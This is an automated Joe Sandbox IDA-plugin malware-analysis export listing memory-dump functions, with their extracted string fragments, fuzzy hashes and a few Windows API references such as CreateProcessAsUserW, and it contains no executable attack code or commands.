Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_cv.jbxd

Similarity

API ID:
String ID: /29$2y$o"!P$u'u@$w7A$}]q
API String ID: 0-2503363779
Opcode ID: 35acc2dbe84ee358ecb3d2f1b3f6cc31388fdaf1158483c7a39d7711694782e3
Instruction ID: b6ce170012814cccea9b7414563541e333f645fb1d5aa8b02217498dee38b886
Opcode Fuzzy Hash: 35acc2dbe84ee358ecb3d2f1b3f6cc31388fdaf1158483c7a39d7711694782e3
Instruction Fuzzy Hash: 81426AB5E412298FDB68CF69CD857EDBBB2BB89300F5091D98509EB354DB348A818F40

Function 06C2E620 Relevance: 7.8, Strings: 6, Instructions: 337
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

:WAv, xrefs: 06C2E68F
Q[vt, xrefs: 06C2EA4F
:WAv, xrefs: 06C2EA81
EDZ=, xrefs: 06C2EB21
EDZ=, xrefs: 06C2E772
Q[vt, xrefs: 06C2E66C

Memory Dump Source

Source File: 00000000.00000002.2062612494.0000000006C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c10000_cv.jbxd

Similarity

API ID:
String ID: :WAv$:WAv$EDZ=$EDZ=$Q[vt$Q[vt
API String ID: 0-1200865633
Opcode ID: ae703f7975d8cd65f0553eee631556619263f92749d7e307417bbfc205e298aa
Instruction ID: f79821ba1663c6f8a5db36c0a8b667ff71b5ad9d9e3e01c47cd89713aa251c1c
Opcode Fuzzy Hash: ae703f7975d8cd65f0553eee631556619263f92749d7e307417bbfc205e298aa
Instruction Fuzzy Hash: 7A02A9B5E4526A8FDB24CF65CD913CDBAB2BB85300F5192E8C459BF314DB744A828F84

Function 06C2E610 Relevance: 7.8, Strings: 6, Instructions: 336
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

:WAv, xrefs: 06C2E68F
Q[vt, xrefs: 06C2EA4F
:WAv, xrefs: 06C2EA81
EDZ=, xrefs: 06C2EB21
EDZ=, xrefs: 06C2E772
Q[vt, xrefs: 06C2E66C

Memory Dump Source

Source File: 00000000.00000002.2062612494.0000000006C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c10000_cv.jbxd

Similarity

API ID:
String ID: :WAv$:WAv$EDZ=$EDZ=$Q[vt$Q[vt
API String ID: 0-1200865633
Opcode ID: c9716bbfb1ecd99fc94b8b1aae82344b8a3f6486bd41257d31145d3bf1cce444
Instruction ID: cbcb36a5ffc6b504ac9882d85d03f9ad5b608d643ddd1dceed12ede84427392a
Opcode Fuzzy Hash: c9716bbfb1ecd99fc94b8b1aae82344b8a3f6486bd41257d31145d3bf1cce444
Instruction Fuzzy Hash: 8202A9B5A4126A8FDB24CF65CD917CDBAB2BB85300F5192E8C459BF314DB744A828F84

Function 0674CF78 Relevance: 6.7, Strings: 5, Instructions: 449
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

xX)s5:N, xrefs: 0674D798
7f%], xrefs: 0674D096
>Ql, xrefs: 0674D378
Mi+R, xrefs: 0674D118
G, xrefs: 0674D0E6

Memory Dump Source

Source File: 00000000.00000002.2059380807.0000000006740000.00000040.00000800.00020000.00000000.sdmp, Offset: 06740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6740000_cv.jbxd

Similarity

API ID:
String ID: 7f%]$>Ql$G$Mi+R$xX)s5:N
API String ID: 0-1484476294
Opcode ID: b744a1f8290d19d73ab5e930ba1ebe4624eb8a274f80fd80f4f706e81dbda0fa
Instruction ID: c9f33aeb962f867d1b570006e26bc230bf3972d8d0e56d9c88cb661999f50bcc
Opcode Fuzzy Hash: b744a1f8290d19d73ab5e930ba1ebe4624eb8a274f80fd80f4f706e81dbda0fa
Instruction Fuzzy Hash: 5E1227B5E01219CFCB58DF69CD953AEBBB6BB85300F0185AAD44AAB350DB348D45CF81

Function 01417B00 Relevance: 5.3, Strings: 4, Instructions: 335COMMON

Download Yara Rule

Strings

(oq, xrefs: 01417C08
(oq, xrefs: 01417BFA
,q, xrefs: 01417C80
,q, xrefs: 01417C72

Memory Dump Source

Source File: 00000000.00000002.2033459714.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1410000_cv.jbxd

Similarity

API ID:
String ID: (oq$(oq$,q$,q
API String ID: 0-620556200
Opcode ID: 66371799a7db0124675df94abb9537c0044edf9272872dcc4113321327725e18
Instruction ID: 611b27168940bbdd3c8c1eb97e5ab317d6ba8c03407fcf3602ab45e2b2982938
Opcode Fuzzy Hash: 66371799a7db0124675df94abb9537c0044edf9272872dcc4113321327725e18
Instruction Fuzzy Hash: D0D11971A00219DFDB14CFA9C984AAEBBF2BF89312F658456E505AB375D730EC42CB50

Function 08272960 Relevance: 4.3, Strings: 3, Instructions: 517COMMON

Download Yara Rule

Strings

9, xrefs: 08272FC7
BI{, xrefs: 08272F95
b@V, xrefs: 082734A0

Memory Dump Source

Source File: 00000000.00000002.2077808834.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_cv.jbxd

Similarity

API ID:
String ID: 9$b@V$BI{
API String ID: 0-1607708626
Opcode ID: a483b27c8c154ec0fd4e72e85568d7c10d6add80fbc80707bff0f0da02ed38f2
Instruction ID: 63ed710287b4d36e4d56f8930301d21dfbfdd83b397790fd49c5d5640069a958
Opcode Fuzzy Hash: a483b27c8c154ec0fd4e72e85568d7c10d6add80fbc80707bff0f0da02ed38f2
Instruction Fuzzy Hash: 9F4233B0D41A298FCB64DF29DD8579EBBB1FB88206F4091E9C549AB340DB349AC5CF04

Function 0689986D Relevance: 4.0, Strings: 3, Instructions: 244COMMON

Download Yara Rule

Strings

@@, xrefs: 0689992C
f, xrefs: 0689993C
oP@, xrefs: 0689988C

Memory Dump Source

Source File: 00000000.00000002.2060104171.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6890000_cv.jbxd

Similarity

API ID:
String ID: @@$f$oP@
API String ID: 0-1095187077
Opcode ID: a1be0038063dddc10bffbb831d9046b71138d650188876825ae5888d30985de8
Instruction ID: d287579f8313bda0be5e685c0162cfd0b2d813ec6d2520363b77c9c1221957cb
Opcode Fuzzy Hash: a1be0038063dddc10bffbb831d9046b71138d650188876825ae5888d30985de8
Instruction Fuzzy Hash: 5891AC7090A3D48FDB03DB64DCA0A997FB1AF47210F0E81DBD485EB1A3D6689C49C761

Function 01417398 Relevance: 3.1, Strings: 2, Instructions: 566COMMON

Download Yara Rule

Strings

(oq, xrefs: 014178C2
Hq, xrefs: 0141778E

Memory Dump Source

Source File: 00000000.00000002.2033459714.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1410000_cv.jbxd

Similarity

API ID:
String ID: (oq$Hq
API String ID: 0-2917151738
Opcode ID: f9c3551b61c7d3a03646f06132299ba34848b3a28d9e0b5b4ef2a047272147bc
Instruction ID: e06d97410b1c0def85c5253d82ebac40bfa61533f35beac219335ed3add9b616
Opcode Fuzzy Hash: f9c3551b61c7d3a03646f06132299ba34848b3a28d9e0b5b4ef2a047272147bc
Instruction Fuzzy Hash: 4522BF70A002199FDB15DF68C844BAEBBB6FF88301F14846AE556DB3A5EB34DD41CB90

Function 0506EA80 Relevance: 2.9, Strings: 2, Instructions: 436COMMON

Download Yara Rule

Strings

PHq, xrefs: 0506F1EE
PHq, xrefs: 0506F202

Memory Dump Source

Source File: 00000000.00000002.2057625314.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5060000_cv.jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: 408ba12f0bb55e4d39e4af0747f931d248fc921384acc179b6d38486fed416ef
Instruction ID: 7e03891b95e100991de1f83b47fcce7da9eecdc6fc8fd2f147f34ec6a1c1ff40
Opcode Fuzzy Hash: 408ba12f0bb55e4d39e4af0747f931d248fc921384acc179b6d38486fed416ef
Instruction Fuzzy Hash: 3622B174E002299FEB64DF65DC91BDDBBB2BF89300F1480A9D549AB294EB705E81CF40

Function 06743D60 Relevance: 2.8, Strings: 2, Instructions: 313COMMON

Download Yara Rule

Strings

Fjn6, xrefs: 06743D7A
F6, xrefs: 06743F27

Memory Dump Source

Source File: 00000000.00000002.2059380807.0000000006740000.00000040.00000800.00020000.00000000.sdmp, Offset: 06740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6740000_cv.jbxd

Similarity

API ID:
String ID: Fjn6$F6
API String ID: 0-154666695
Opcode ID: 854f11047ff9193844dbb344af9b0f3901e9b045c64019452c1ef38c3ad7cef6
Instruction ID: 8af0b03086ab02c47af613f989797dea720a51beeb13a9e4efd4325c4da56472
Opcode Fuzzy Hash: 854f11047ff9193844dbb344af9b0f3901e9b045c64019452c1ef38c3ad7cef6
Instruction Fuzzy Hash: F1D126B5E452198FDB68CFA9CD523ADBAB6BB54300F149199C10AFF754DB348D428F80

Function 06814FE1 Relevance: 2.7, Strings: 2, Instructions: 217COMMON

Download Yara Rule

Strings

Teq, xrefs: 06815245
Teq, xrefs: 06815069

Memory Dump Source

Source File: 00000000.00000002.2059944935.0000000006810000.00000040.00000800.00020000.00000000.sdmp, Offset: 06810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6810000_cv.jbxd

Similarity

API ID:
String ID: Teq$Teq
API String ID: 0-2938103587
Opcode ID: 7c1eda7bee726fb17657b63d25e97f7baa7664d302a875faaa5a2d5def7cdac0
Instruction ID: f44c4773d80c4472f9d00a0c405052336684d661d5eae07f68b1c5d6d4f94356
Opcode Fuzzy Hash: 7c1eda7bee726fb17657b63d25e97f7baa7664d302a875faaa5a2d5def7cdac0
Instruction Fuzzy Hash: 8291E3B4E012098FDB48CFEAC984ADEBBB2FF89314F24812AD515BB264D7705945CF91

Function 06815000 Relevance: 2.7, Strings: 2, Instructions: 207COMMON

Download Yara Rule

Strings

Teq, xrefs: 06815245
Teq, xrefs: 06815069

Memory Dump Source

Source File: 00000000.00000002.2059944935.0000000006810000.00000040.00000800.00020000.00000000.sdmp, Offset: 06810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6810000_cv.jbxd

Similarity

API ID:
String ID: Teq$Teq
API String ID: 0-2938103587
Opcode ID: 4ffdfd6c04216a95405475ebc3559196ebf13b6f8b152195b3f34fb0690fb513
Instruction ID: 40e406a4b169e29fcefafa2a3145479d855110d2530b3e7efa2baf585108c27e
Opcode Fuzzy Hash: 4ffdfd6c04216a95405475ebc3559196ebf13b6f8b152195b3f34fb0690fb513
Instruction Fuzzy Hash: 9F91D3B4E002098FDB48CFEAC984A9EFBB2FF89314F24812AD515BB254D7705945CF95

Function 068954C8 Relevance: 2.7, Strings: 2, Instructions: 203COMMON

Download Yara Rule

Strings

PHq, xrefs: 0689570A
PHq, xrefs: 0689574A

Memory Dump Source

Source File: 00000000.00000002.2060104171.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6890000_cv.jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: 920964985f8c729eeab7decaeb2edb61e4eed5b8ac41e14193f2f5f5fd4ce203
Instruction ID: 135bab867e87a95ca54908d75a016ffa5b928e2ac7f6cf13ff6b912cb7e6db24
Opcode Fuzzy Hash: 920964985f8c729eeab7decaeb2edb61e4eed5b8ac41e14193f2f5f5fd4ce203
Instruction Fuzzy Hash: 9A813470E04248DFDF55CFA9D8996ADBBB2FB88304F14802AD416FB255DB344941CF66

Function 067498A0 Relevance: 2.7, Strings: 2, Instructions: 154COMMON

Download Yara Rule

Strings

[hl, xrefs: 067498DE
,T6, xrefs: 067498D7

Memory Dump Source

Source File: 00000000.00000002.2059380807.0000000006740000.00000040.00000800.00020000.00000000.sdmp, Offset: 06740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6740000_cv.jbxd

Similarity

API ID:
String ID: [hl$,T6
API String ID: 0-2380743002
Opcode ID: 02c43749666689056eb991e0cc8b09545fdcf48927639b0e509846483a81f75c
Instruction ID: 5fd152c4594c766c620bf7416c51fa6600dec5cec4f80c8e663ad73fa7fd713f
Opcode Fuzzy Hash: 02c43749666689056eb991e0cc8b09545fdcf48927639b0e509846483a81f75c
Instruction Fuzzy Hash: E1510575E10219CFDB44EFF9E9492AEBBF5FB84300B509529E506EB344DB389805CB81

Function 0681EAC0 Relevance: 2.6, Strings: 2, Instructions: 130COMMON

Download Yara Rule

Strings

XrB, xrefs: 0681EC51
XrB, xrefs: 0681EC5F

Memory Dump Source

Source File: 00000000.00000002.2059944935.0000000006810000.00000040.00000800.00020000.00000000.sdmp, Offset: 06810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6810000_cv.jbxd

Similarity

API ID:
String ID: XrB$XrB
API String ID: 0-1305315338
Opcode ID: ece5dfe6089f171bd7ca810ca6fc8af31c9d1f777a6d67162cf39bd63b1f5ab1
Instruction ID: 12e03401d69cc154f72fef02fd9a3f02b3721aa7a9e8b487c8640e9fe381566b
Opcode Fuzzy Hash: ece5dfe6089f171bd7ca810ca6fc8af31c9d1f777a6d67162cf39bd63b1f5ab1
Instruction Fuzzy Hash: 24515A70D0420EDFDB44CFA6D5496AEFBB9EF89310F10992AD512FA214D7389641CF94

Function 06894B40 Relevance: 1.7, APIs: 1, Instructions: 164processCOMMON

Download Yara Rule

APIs

CreateProcessAsUserW.KERNEL32(?,?,?,0000000A,?,?,?,?,?,?,?), ref: 06894CAB

Memory Dump Source

Source File: 00000000.00000002.2060104171.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6890000_cv.jbxd

Similarity

API ID: CreateProcessUser
String ID:
API String ID: 2217836671-0
Opcode ID: cac7261a5d4737ff709e1744fbc684f72f40d0fea9401ba91d975bba127da1f1
Instruction ID: cb02051250994537f0ee0ba2dd338e9b478e2a537bfdbe4e656092e626bd650e
Opcode Fuzzy Hash: cac7261a5d4737ff709e1744fbc684f72f40d0fea9401ba91d975bba127da1f1
Instruction Fuzzy Hash: 80510671D002299FDF64CF99C940BDDBBB5BF48304F0484AAE918B7250DB75AA89CF60

Function 06815883 Relevance: 1.4, Strings: 1, Instructions: 135COMMON

Download Yara Rule

Strings

T2D8, xrefs: 0681592E

Memory Dump Source

Source File: 00000000.00000002.2059944935.0000000006810000.00000040.00000800.00020000.00000000.sdmp, Offset: 06810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6810000_cv.jbxd

Similarity

API ID:
String ID: T2D8
API String ID: 0-4275258504
Opcode ID: 69ca6324f8b03d6753cca2707d2d9cdcbb2442b60f78979c6314665ad1c600ec
Instruction ID: 67293ca8d6f99a585f6bbbe84a0e308559d2d371b94c9cb00c194ea29ceeaf25
Opcode Fuzzy Hash: 69ca6324f8b03d6753cca2707d2d9cdcbb2442b60f78979c6314665ad1c600ec
Instruction Fuzzy Hash: 5251F4B0E042198FDB48CFAAD5516AEFBF2FBC8210F14D06AD419AB254D73499418F65

Function 06893008 Relevance: 1.4, Strings: 1, Instructions: 130COMMON

Download Yara Rule

Strings

ATv, xrefs: 0689305A

Memory Dump Source

Source File: 00000000.00000002.2060104171.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6890000_cv.jbxd

Similarity

API ID:
String ID: ATv
API String ID: 0-2543836044
Opcode ID: 02575806c1ba1b5338f83b65b9fe387346102ed45674868610c3bb3dcefdfad9
Instruction ID: 0cf3545c4a54a26c5d811aedcf24cf75956a074074a4d0d86006eb52b632885f
Opcode Fuzzy Hash: 02575806c1ba1b5338f83b65b9fe387346102ed45674868610c3bb3dcefdfad9
Instruction Fuzzy Hash: 2F51CF74E01219DFDB48CFAAE9545AEBBB2FF88310F14902AD815E7314D73499428FA0

Function 06813328 Relevance: 1.4, Strings: 1, Instructions: 128COMMON

Download Yara Rule

Strings

<, xrefs: 06813462

Memory Dump Source

Source File: 00000000.00000002.2059944935.0000000006810000.00000040.00000800.00020000.00000000.sdmp, Offset: 06810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6810000_cv.jbxd

Similarity

API ID:
String ID: <
API String ID: 0-4251816714
Opcode ID: 687256329a08bbba940701d2d615d397db853b9f0cf550fa6feb494181040054
Instruction ID: 6337cb7e51d6228716ecf0a0beb34466be1b44f5ee5f4eb3c475ffc4f74c41f2
Opcode Fuzzy Hash: 687256329a08bbba940701d2d615d397db853b9f0cf550fa6feb494181040054
Instruction Fuzzy Hash: 66519275E00658CFDB58CFAAC9446DDBBF2AFC9301F14C0AAD509AB264EB355A85CF40

Function 0832C9A0 Relevance: .6, Instructions: 596COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2078247338.0000000008320000.00000040.00000800.00020000.00000000.sdmp, Offset: 08320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8320000_cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5be26bc6ec587be02be8784990dd6d678e50d69d3325d6d3c95222d127275e5
Instruction ID: 163dfdf1c7dde88bd8e0b5795859bb7f357ec799b3a67112905690d97be34403
Opcode Fuzzy Hash: a5be26bc6ec587be02be8784990dd6d678e50d69d3325d6d3c95222d127275e5
Instruction Fuzzy Hash: CF526D74A00315CFDB14DF28C844B99B7B2BF86314F2582E9D5596F3A1DBB1A982CF81

Function 0827F439 Relevance: .4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2077808834.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eaf6d18fcd189cc80215bfebac0d1ad9848830487606f2a6135d45a2e1b7615e
Instruction ID: 9fc2bfdea745c618ad2a93189f05553dacc96756a5612f16b9599451581d942c
Opcode Fuzzy Hash: eaf6d18fcd189cc80215bfebac0d1ad9848830487606f2a6135d45a2e1b7615e
Instruction Fuzzy Hash: 0412C675D1071ACFCB15DF69C880AD9F7B1BF99300F1586AAD858A7211EB70AAC5CF80

Function 0827F448 Relevance: .4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2077808834.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 649fc7158c03924589ab6c167c931089242773e24db5577753ab85ba112c74a6
Instruction ID: 60cba9df427ae3061c5ab3743dbb2475776d23ec19a9d1c9c18d7c378bf4fd9d
Opcode Fuzzy Hash: 649fc7158c03924589ab6c167c931089242773e24db5577753ab85ba112c74a6
Instruction Fuzzy Hash: F812B775D1061ACFCB14DF69C880AD9F7B1BF99300F1586AAD858A7211EB70AAC5CF80

Function 01414D5A Relevance: .3, Instructions: 273COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2033459714.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1410000_cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 841ec25e2418f2d7beb54a2793584641150031a2c93b494aae14e318b204272a
Instruction ID: 72971673b02bf96ba81fc8c1e1423484d1f78bc390a735284b37f5d2cbabeff4
Opcode Fuzzy Hash: 841ec25e2418f2d7beb54a2793584641150031a2c93b494aae14e318b204272a
Instruction Fuzzy Hash: 97D19374E002189FEB24DFAAC884B9DBBB2BF88300F14C0AAE519A7354DB755D85DF51

Function 06895210 Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2060104171.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6890000_cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4511da8eb8c6ef244ca221937d2e8d73983109ff0ed897ece2f663810c19ed13
Instruction ID: ef9b9e8f9af39e79902474788e511766ab76e054c1d5309ba65c9e8fd0bc2734
Opcode Fuzzy Hash: 4511da8eb8c6ef244ca221937d2e8d73983109ff0ed897ece2f663810c19ed13
Instruction Fuzzy Hash: 05711FB4D05218CFDF95CFE9D9946AEBBF2EB89300F24852AD401BB254D7345A41CFA1

Function 06895220 Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2060104171.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6890000_cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65600af85b3846275ac76e44a5a93a79537b598c99e7b6a50c55d93144af83df
Instruction ID: 922c10236dfa737f630d0305259606ac5680ae2c0d405e8c8cca8e567bd8e52d
Opcode Fuzzy Hash: 65600af85b3846275ac76e44a5a93a79537b598c99e7b6a50c55d93144af83df
Instruction Fuzzy Hash: 3E710FB0D01218CFDF54CFA9D9546AEBBF2FB89300F24852AD405BB254DB345A42CFA5

Function 06816290 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2059944935.0000000006810000.00000040.00000800.00020000.00000000.sdmp, Offset: 06810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6810000_cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62d2902c12f223aba23b28d223cd7a68562b7f25b895086c7efdc936ca192cec
Instruction ID: d6678720cca94d6d70fc4ed6eb12b9f20a410c7f5296fb614dd5cc9f131ab420
Opcode Fuzzy Hash: 62d2902c12f223aba23b28d223cd7a68562b7f25b895086c7efdc936ca192cec
Instruction Fuzzy Hash: 6C2128B1E006188FEB58CFAAD8547DEBBF7AFC9310F14C16AD408AA264DB350945CF91

Function 068198E8 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2059944935.0000000006810000.00000040.00000800.00020000.00000000.sdmp, Offset: 06810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6810000_cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58b0f0e4a41c8b17b9b058efeef1ac4ad8425a1966f9ac7daee9828962abb9e4
Instruction ID: 02e4c9b2eb18037bcdf8083e5668257a29d5a0700659d53289d5296430be477d
Opcode Fuzzy Hash: 58b0f0e4a41c8b17b9b058efeef1ac4ad8425a1966f9ac7daee9828962abb9e4
Instruction Fuzzy Hash: 0F21F571E056188BEB59CF6BD85069EFBF7AFC9200F04C1BAC408AB225DB300A468F55

Function 014180E7 Relevance: 10.5, Strings: 8, Instructions: 467
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(oq, xrefs: 01418116
,q, xrefs: 01418588
,q, xrefs: 01418578
(oq, xrefs: 0141829A
(oq, xrefs: 014185F7
(oq, xrefs: 014181FD
(oq, xrefs: 014181D1
(oq, xrefs: 014185E7

Memory Dump Source

Source File: 00000000.00000002.2033459714.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1410000_cv.jbxd

Similarity

API ID:
String ID: (oq$(oq$(oq$(oq$(oq$(oq$,q$,q
API String ID: 0-2212926057
Opcode ID: c00a6940b656316babd91c6d6620721c59b5bce2c6d37a1e002e9fba8278a725
Instruction ID: 06ac62e12e3c10ab47a263b2e13d9f2f3824057f679f0eb6f39897a9b225012d
Opcode Fuzzy Hash: c00a6940b656316babd91c6d6620721c59b5bce2c6d37a1e002e9fba8278a725
Instruction Fuzzy Hash: 83125930A0060A8FDB15CF69D984AAEBBF2FF49314F54856AE9499B365DB30EC41CB50

Function 05007F00 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 05007F7E
GetCurrentThread.KERNEL32 ref: 05007FBB
GetCurrentProcess.KERNEL32 ref: 05007FF8
GetCurrentThreadId.KERNEL32 ref: 05008051

Memory Dump Source

Source File: 00000000.00000002.2057186100.0000000005000000.00000040.00000800.00020000.00000000.sdmp, Offset: 05000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5000000_cv.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 96183dfe2d0560fb67cb8b3480451b74b7b807a4f03ad2cc1e10413052ae2621
Instruction ID: 3aa9971a7020ce711ea8b5abf87fe8f4ee35232fedc8b643514d45d1804cb08e
Opcode Fuzzy Hash: 96183dfe2d0560fb67cb8b3480451b74b7b807a4f03ad2cc1e10413052ae2621
Instruction Fuzzy Hash: 525155B09003498FEB64CFA9D548BEEBBF1FF48314F248459E419A7390D7746944CB65

Function 05007EFF Relevance: 6.1, APIs: 4, Instructions: 126threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 05007F7E
GetCurrentThread.KERNEL32 ref: 05007FBB
GetCurrentProcess.KERNEL32 ref: 05007FF8
GetCurrentThreadId.KERNEL32 ref: 05008051

Memory Dump Source

Source File: 00000000.00000002.2057186100.0000000005000000.00000040.00000800.00020000.00000000.sdmp, Offset: 05000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5000000_cv.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: cb9a19a903cb20c8160016e6009a9bb644b91a386efafc75101e713029d30158
Instruction ID: c2f19286000cbcad66d78e94f245f7c1dbd024f2cdd1ab0d6540e18551e80607
Opcode Fuzzy Hash: cb9a19a903cb20c8160016e6009a9bb644b91a386efafc75101e713029d30158
Instruction Fuzzy Hash: F45154B09003098FEB64CFA9D548BEEBBF1FF48314F248459E019A73A0D774A944CB65

Function 014199A7 Relevance: 3.0, Strings: 2, Instructions: 546COMMON

Download Yara Rule

Strings

(oq, xrefs: 014199E0
4'q, xrefs: 01419FDB

Memory Dump Source

Source File: 00000000.00000002.2033459714.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1410000_cv.jbxd

Similarity

API ID:
String ID: (oq$4'q
API String ID: 0-1336004174
Opcode ID: a19d80e1baf46c636c27fc7e0a2ee7db2e67b61912d9ec8c33580acc6ff5de55
Instruction ID: d3e5235f93e6beb6df2e4f2ed353caa16c6ebbe4c8ee876f9dbf32e65cd2eb14
Opcode Fuzzy Hash: a19d80e1baf46c636c27fc7e0a2ee7db2e67b61912d9ec8c33580acc6ff5de55
Instruction Fuzzy Hash: 03324B71A00205DFCB15CF68C5A4AAEBBB2FF88318F15855AE406DB3A9D734ED81CB51

Function 0141AF6F Relevance: 2.8, Strings: 2, Instructions: 322COMMON

Download Yara Rule

Strings

4'q, xrefs: 0141AF89
4'q, xrefs: 0141AFAF

Memory Dump Source

Source File: 00000000.00000002.2033459714.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1410000_cv.jbxd

Similarity

API ID:
String ID: 4'q$4'q
API String ID: 0-1467158625
Opcode ID: 091cbbd11c92810e24fb77fb7137500b325db202603ab19c13133c2e6d8154c6
Instruction ID: 7f98cccd0a061e4ae28eb6e58f02f6b7523c03d3ae6ff8aec73a84000db793df
Opcode Fuzzy Hash: 091cbbd11c92810e24fb77fb7137500b325db202603ab19c13133c2e6d8154c6
Instruction Fuzzy Hash: 7DB13C303446558FEB299B2DC86973E3BBAEF85640F1940ABE502CB3B9DB35CC528751

Function 01416780 Relevance: 2.8, Strings: 2, Instructions: 295COMMON

Download Yara Rule

Strings

Hq, xrefs: 01416994
Hq, xrefs: 01416961

Memory Dump Source

Source File: 00000000.00000002.2033459714.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1410000_cv.jbxd

Similarity

API ID:
String ID: Hq$Hq
API String ID: 0-925789375
Opcode ID: 5783ba662912ae82a27b2155719caee0959e9b8bada042d8ba88dcfdf6dd69e6
Instruction ID: 919316d4756ccc1095693f31269ec6ea0ebf0ffbea31e1b00a4b27c4c0c8fcd3
Opcode Fuzzy Hash: 5783ba662912ae82a27b2155719caee0959e9b8bada042d8ba88dcfdf6dd69e6
Instruction Fuzzy Hash: 22A1F230B002159FDB159F28C858BBE7BA6FF98351F168429E906DB394DBB4DC45CB90

